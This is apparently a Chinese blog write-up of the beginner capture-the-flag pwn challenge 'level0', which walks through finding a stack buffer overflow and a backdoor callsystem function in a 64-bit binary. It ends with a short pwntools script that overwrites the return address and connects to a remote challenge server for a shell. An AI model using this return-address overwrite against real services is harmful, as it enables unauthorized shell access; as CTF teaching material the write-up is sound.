level0

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

题目附件: 附件1

 

 

file如下:

 

 64位ELF文件

checksec如下:

 

 IDA反汇编,查看main函数:

 

 查看vulnerable_function:

 

 存在缓冲区溢出漏洞

发现存在函数callsystem,如下:

 

 存在后门函数

因此,我们可以利用缓冲区溢出漏洞覆盖返回地址到callsystem处

callsystem地址如下:

 

 exp如下:

from pwn import *

#io = process('./pwn')
io = connect('220.249.52.133', 58722)

callsystem_address = 0x400596

payload = b'a'*0x88 + p64(callsystem_address)
io.sendlineafter('World\n', payload)

io.interactive()

 

posted @ 2020-12-04 17:01  hktk1643  阅读(418)  评论(0编辑  收藏  举报